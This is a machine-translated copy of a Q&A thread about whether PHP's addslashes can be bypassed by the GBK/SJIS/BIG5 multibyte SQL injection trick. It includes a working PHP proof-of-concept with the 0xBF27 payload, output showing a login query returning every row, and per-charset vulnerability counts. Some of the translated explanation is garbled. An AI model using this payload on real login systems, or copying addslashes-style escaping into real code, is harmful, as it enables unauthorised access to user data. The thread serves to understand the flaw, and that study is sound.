php mysql addslashes,关于mysql:Php addslashes sql注入仍然有效吗?
mysql日志显示此查询
SELECT *
FROM users
WHERE username = '?\' OR username = username /*'
AND password = 'guess'
很明显,这个技巧是行不通的
更新:请阅读我要问的问题。
我不在乎最佳实践,我不需要替代方案,我只需要确保它仍然有效即可。
更新:我也想提醒一下,此POC适用于GBK,SJIS或BIG5等字符集,每个人似乎都忘记了这一点。说斜线不安全时,使标题听起来有些吓人。
解决方案:就我而言,MySQL 5.5.9-log版本不允许未以/ *形式出现的内联注释。如果我使用-或#,则可以使用。
与addslashes()一起使用时仍然正确。尽管准备准备好的陈述
knittl您尝试过注射并且可以工作吗?
addlashes的行为没有改变,仍然可以在单字节字符上运行,并且没有考虑编码
是的,但是也许php 5.3或mysql 5.x进行了一些改进,导致查询在测试中似乎无效...
+1是成千上万个"我有代码才能使它工作"的问题中极为罕见的"它如何工作"的问题。你永远不会得到答案。因此,人们永远都不会理解他们回答的问题:)它深深体现了网站的性质。
@ColShrapnel:所以这是你闪耀的机会。不要给每个人以投票,而是一次深入地回答。
这里没有是/否答案。这可能取决于您的PHP,MySQL版本以及您是否使用libmysql或mysqlnd。尽管在这种情况下,它(在程序员方面)更多的是设计缺陷而不是漏洞利用,因此我不希望任何版本的PHP都能尝试解决此问题。
@mario不仅是一个:)我会定期发布此类问题。但是我只是好奇,我只有一个人要进行实际测试。
@Josh youve有"是"和"否"配置的特定示例,不是吗?
老实说,@ mario,你完全错了。我并没有拒绝所有人。我只拒绝错误的答案
仅在遇到诸如"...ORDER BY $order"之类的查询之前,"参数化查询"才是圣杯;
是的,注入示例当然仍然有效! addslashes的行为或GBK编码都没有改变。 ;)
看来对我有用。
MySQL的:
mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> CREATE TABLE users (
-> username VARCHAR(32) CHARACTER SET GBK,
-> password VARCHAR(32) CHARACTER SET GBK,
-> PRIMARY KEY (username)
-> );
Query OK, 0 rows affected (0.08 sec)
mysql> insert into users SET username='ewrfg', password='wer44';
Query OK, 1 row affected (0.02 sec)
mysql> insert into users SET username='ewrfg2', password='wer443';
Query OK, 1 row affected (0.03 sec)
mysql> insert into users SET username='ewrfg4', password='wer4434';
Query OK, 1 row affected (0.00 sec)
PHP:
[cc lang="php"]<?php
echo"PHP version:".PHP_VERSION."
";
mysql_connect();
mysql_select_db("test");
mysql_query("SET NAMES GBK");
$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
$_POST['password'] = 'guess';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql ="SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql ="SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
mysql_set_charset("GBK");
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql ="SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
结果:
PHP version: 5.3.3
string(29)"?\' OR username = username /*"
int(3)
string(6)"latin1"
string(29)"?\' OR username = username /*"
int(3)
string(6)"latin1"
string(30)"\?\' OR username = username /*"
int(0)
string(3)"gbk"
结论:
A second result going to be most surprising for those who chants"you should use mres instead of addslashes!"
好的,您能告诉我您的配置吗? MySQL的/ PHP的/ OS的?谢谢
@danip yup,刚刚添加了它。赢得。
它也适用于Linux上的MySQL 5.5.4 / PHP 5.3.6。我的数据库以ANSI模式运行,因此我不得不用`--`替换`/ *`
十六进制值混合的时刻是什么时候?如果我回显sql,注入应该可见?还是在日志文件中?
@danip可以看到不同之处(已将转义结果添加到输出中)。看来?\代表GBK中的单个字符
但是,在哪里加号?我只看到mysql_real_escape_string
@danip oops,有错字。第一个应该是。疾病会在一秒钟内纠正。结果仍然一样
所以从我看到的查询发送到mysql之前是不正确的。在这种情况下,mysql_real_escape_string为我工作,如果我做一个简单的echo就可以看到注入。但是addslashes对我没有任何帮助。
@danip mres仅在由mysql_set_charset()或服务器配置设置了客户端编码时才有效(如Shifletts文章中所述)。
注意:当我发表以前的评论说"它也对我有用"时,我指的是Shiffletts原始PoC代码。我没有尝试过在这里发布的代码。另外,不建议使用SET NAMES(根据PHP手册),而应该使用mysqli::set_charset。
@danip它已经在代码中,我最近将其添加到每个块中。
好了,弹片,谢谢您的帮助。非常感谢您的宝贵时间。
@danip感谢您提出的有趣问题。但是,我仍然不明白为什么代码失败。
那就是我试图找出的。我的事它与mysql有关。当我对mysql_real_escape_string的示例使用加号时,导致查询失败,注入有效。
我还使用带MySQL 5.5.9-log和PHP版本5.3.5的fedora,所以有区别。
@danip您为$ db类使用什么驱动程序?
就像您的示例一样,简单的ext / mysql驱动程序
有趣的是,此查询-SELECT * as x FROM users where username = OR username = username / * AND password =猜测-在我的mysql版本上没有返回结果。您能否确认自己正在返回结果?
好。我有问题。注释必须为#或-像/ *这样的嵌入式注释将不再返回结果(如果未完成)
为了让您获得'?\',我猜您使用的是0x??5c多字节字符而不是0x??27多字节字符。
我在服务器上得到以下结果(导致成功注入的经过测试的代码点数):
SJIS:47/47
SJIS获胜:58/58
EUC-CN:0/95
CP936:126/126
BIG-5:89/94
EUC-KR:0/93
我没有测试MySQL的其他可用字符集,因为它们在PHP的mbstring扩展中不可用,因此我无法快速确定那些编码中存在哪些多字节字符。我也只尝试了双字节字符,因此可能会有更多易受攻击的字符集。
同样,如果表数据使用与客户端设置相同的编码,则也有帮助。否则,对于许多潜在的代码点,您会收到"排序规则的非法混合"错误。
这让我疯狂! 0x27和0xBF在GBK中代表什么?另外,我想了解您的答案...
@Raffaele:正如Chris Shifletts文章所述,0x27是GBK中的单引号(),而0xBF是。该答案总结了遍历每个字符集的结果,寻找以0x5c()结尾的有效多字节字符串,然后使用前一个mbstring + 0x27的第一个字节构造另一个多字节字符串。这样,当mysql_real_escape_string()在2个字节之间添加反斜杠时,该反斜杠将作为新的mbstring(0x??5c)被吃掉,并在其后留下未转义的反斜杠(0x27)。
糟糕,最后一句话应为:...在其后留下一个不转义的单引号。
php mysql addslashes,关于mysql:Php addslashes sql注入仍然有效吗?相关推荐
- mysql监测攻击_如何检测SQL注入技术以及跨站脚本攻击
展开全部 在最近两年中,安全专家应该对网络应用层的攻击更加重e69da5e887aa62616964757a686964616f31333339666164视.因为无论你有多强壮的防火墙规则设置或者非 ...
- sql注入 mysql 猜数据库名字_web渗透-SQL注入数据库信息盗取
sql注入原理 脚本代码接收来自前端数据未进行过滤,导致恶意sql语句插入到数据库中查询执行. 如下代码: $id = $_GET['id']; $sql = "select * from ...
- mysql 字符串运算_使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景. 有以下表结构: mysql> desc admin; +----------+--------------+------+-----+---------+------- ...
- tp3.2 mysql elt出错_ThinkPHP3.2.3 SQL注入漏洞分析
where注入 在控制器写如下demo开始测试public function ghtwf01(){ $data = M('users')->where('id='.I('id'))->fi ...
- concat mysql sql注入_Mysql中用concat函数执行SQL注入查询的方法
Mysql数据库使用concat函数执行SQL注入查询 SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示 ...
- php mysql 注入漏洞_PHP安全:SQL注入漏洞防护
原标题:PHP安全:SQL注入漏洞防护 SQL注入是最危险的漏洞之一,但也是最好防护的漏洞之一.本文介绍在PHP的编码中合理地使用MySQL提供的预编译进行SQL注入防护,在PHP中使用PHP数据对象 ...
- yii mysql语法_yii2 + mysql 常用增删改查操作语法以及事务
关于数据库mysql的使用: 1.查询: Salesorderitem::find()-asArray()-where([order_id=$order_id])-all():Salesorderit ...
- php判断post是否xss,PHP实现表单提交数据的验证处理功能【防SQL注入和XSS攻击等】...
本文实例讲述了PHP实现表单提交数据的验证处理功能.分享给大家供大家参考,具体如下: 防XSS攻击代码: /** * 安全过滤函数 * * @param $string * @return strin ...
- Web渗透-SQL注入
渗透测试基础 一.渗透攻击流程 二.渗透测试主流工具 域名注册信息查询: Whois在线查询目标网络信息DNS和IP,nslookup 在线漏洞搜索引擎: fofa.info,shodan.io,zo ...
- ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入
0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...
最新文章
- Android之传感器(一)
- 五、springcloud之客户端负载均衡Ribbon
- android handler的机制和原理_一文搞懂handler:彻底明白Android消息机制的原理及源码
- python白名单验证-JWT黑名单和白名单
- html 物流状态,css+html如何实现物流进度样式(代码示例)
- 测试的时候数据库外键导致死锁_Oracle外键不加索引会引起死锁问题
- HDFS HA模式下支持只连接其中Active的NameNode
- P6085-[JSOI2013]吃货JYY【状压dp,欧拉回路】
- 使用ogg实现oracle到kafka的增量数据实时同步
- 福师离线 微型计算机与外部,福师《计算机应用基础》离线作业答案
- java与python反转Ture与False的方法
- 交流信号叠加直流偏置_高速数字电路设计通关五部曲(二):接口信号匹配与对接...
- 模式识别与机器学习(一):概率论、决策论、信息论
- Android SDK 下载安装及配置
- 2020计算机软考初级都考什么,软考都考什么内容
- 最常用的编写Linux脚本命令和语法
- C语言发展史的点点滴滴
- python中将字符变为大写_python如何把小写字母变成大写字母
- centos8修改系统语言为中文
- Ubuntu16.04+RTX3090+python3+cuda11.1+ CUDNN 8.04+anaconda3+pytorch-nightly深度学习环境搭建实录
热门文章
- 色盲怎么学计算机,体检标准变成建议 色盲色弱能报高校计算机专业
- 在PPT里如何做出晶莹剔透的高级水泡感出来呢
- 学习笔记(01):程序员的数学:线性代数-矩阵的加法、乘法、转置
- 【沃顿商学院学习笔记】商业基础——Financing:07 决策 Decision Maker
- rancher 部署和实践
- 基于UWB的高精度定位
- onscroll 事件
- vue 中生成带logo的二维码vue-qr(可换背景) 利用qrcode生成二维码
- Python 错误 SyntaxError: Non-ASCII character ‘\xe4‘ in file
- MPC5744之时钟(1)